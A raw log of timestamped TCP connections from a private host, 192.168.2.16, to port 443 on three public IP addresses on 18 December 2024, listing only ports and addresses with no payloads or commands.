Dec 18, 2024 14:54:23.369235039 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:23.369246006 CET	443	49740	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:23.369745970 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:23.369788885 CET	443	49741	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:23.369848967 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:23.370136023 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:23.370150089 CET	443	49741	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.123603106 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.124136925 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:24.124152899 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.124527931 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.125036001 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:24.125107050 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.125243902 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:24.167329073 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.568980932 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.569070101 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.569185019 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:24.570069075 CET	49739	443	192.168.2.16	104.18.95.41
Dec 18, 2024 14:54:24.570097923 CET	443	49739	104.18.95.41	192.168.2.16
Dec 18, 2024 14:54:24.584131002 CET	443	49741	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.584456921 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.584486008 CET	443	49741	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.585537910 CET	443	49741	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.585608006 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.586616039 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.586643934 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.586684942 CET	443	49741	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.586718082 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.586739063 CET	49741	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.587073088 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.587131977 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.587209940 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.587488890 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.587506056 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.590002060 CET	443	49740	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.590255022 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.590279102 CET	443	49740	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.591590881 CET	443	49740	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.591670990 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.592593908 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.592609882 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.592663050 CET	443	49740	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.592670918 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.592715025 CET	49740	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.593008041 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.593050957 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:24.593120098 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.593301058 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:24.593317032 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.806349993 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.806708097 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.806741953 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.807868958 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.807941914 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.808958054 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.809031963 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.809196949 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.809207916 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.809726954 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.809933901 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.809967995 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.811213017 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.811295986 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.812239885 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.812319040 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.858477116 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.858484030 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:25.858509064 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:25.906474113 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.424926043 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.427434921 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.427472115 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.427504063 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.427536011 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.427572012 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.427582979 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.435897112 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.435951948 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.435978889 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.444317102 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.444401026 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.444431067 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.495431900 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.495461941 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.543442965 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.555569887 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.607456923 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.607486010 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.655426025 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.686752081 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.735475063 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.735506058 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774713039 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774760962 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774789095 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774816990 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774843931 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774844885 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.774874926 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774898052 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.774909973 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774945974 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774951935 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.774959087 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.774986029 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.774995089 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775022984 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775051117 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775068045 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.775074005 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775100946 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775118113 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.775125027 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775166988 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775172949 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.775180101 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775218010 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775218964 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.775233030 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.775283098 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.775289059 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.814807892 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.814866066 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.814907074 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.814924955 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.814970970 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.822107077 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.844504118 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.844613075 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.844624043 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.894998074 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.895143032 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.895160913 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.895201921 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.898652077 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.898668051 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.898729086 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.914017916 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.914033890 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.914135933 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.924881935 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.924891949 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.924976110 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.936410904 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.936419964 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.936532021 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.942068100 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.942075968 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.942132950 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.947771072 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.947855949 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.957442045 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.957535982 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.966922998 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.966989040 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.971985102 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.972054958 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.981448889 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.981553078 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.990900993 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:26.991005898 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:26.991028070 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.005414963 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.005526066 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.005553961 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.005604982 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.010478973 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.010582924 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.019854069 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.019937992 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.030038118 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.030149937 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.034137011 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.034233093 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.038737059 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.038832903 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.048315048 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.048428059 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.058043003 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.058147907 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.067389011 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.067498922 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.072442055 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.072520971 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.081928968 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.082024097 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.088486910 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.088557005 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.091972113 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.092056990 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.098416090 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.098494053 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.104495049 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.104581118 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.107229948 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.107286930 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.112662077 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.112730026 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.117774010 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.117835999 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.122874975 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.122937918 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.125550032 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.125624895 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.127969980 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.132829905 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.132905960 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.132924080 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.132972956 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.135379076 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.135445118 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.140026093 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.140132904 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.144670010 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.144752979 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.205763102 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.205923080 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.209007025 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.209076881 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.214198112 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.214296103 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.224513054 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.224543095 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.224632025 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.224661112 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.224708080 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.232312918 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.232362032 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.232393980 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.232403994 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.232445002 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.243182898 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.243216038 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.243267059 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.243277073 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.243299007 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.243318081 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.250514984 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.250556946 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.250602961 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.250617981 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.250641108 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.258739948 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.258763075 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.258806944 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.258821011 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.258846045 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.268301010 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.268321037 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.268400908 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.268435001 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.275855064 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.275871038 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.275933981 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.275962114 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.324441910 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.398030996 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.398061037 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.398116112 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.398144007 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.398161888 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.398180962 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.404329062 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.404355049 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.404426098 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.404453993 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.404602051 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.415429115 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.415453911 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.415499926 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.415508986 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.415538073 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.415560961 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.421730042 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.421760082 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.421807051 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.421816111 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.421850920 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.427090883 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.427114964 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.427159071 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.427165985 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.427191019 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.427216053 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.433407068 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.433430910 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.433489084 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.433497906 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.433537960 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.439081907 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.439104080 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.439156055 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.439163923 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.439193010 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.439213991 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.441616058 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.441680908 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.441688061 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.441731930 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.441771984 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.441827059 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.441905975 CET	49742	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:27.441920042 CET	443	49742	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:27.593832970 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:27.593888044 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:27.593964100 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:27.594233036 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:27.594249010 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:28.851231098 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:28.851656914 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:28.851686954 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:28.853214025 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:28.853283882 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:28.856189013 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:28.856296062 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:28.856389999 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:28.856405973 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:28.900504112 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.279354095 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.279587030 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.279639006 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.279670000 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.279706001 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.279733896 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.279738903 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.279748917 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.279815912 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.296391010 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.300523996 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.300579071 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.300606966 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.309031963 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.309256077 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.309274912 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.360438108 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.399364948 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.440464020 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.440490007 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.473535061 CET	443	49744	151.101.66.137	192.168.2.16
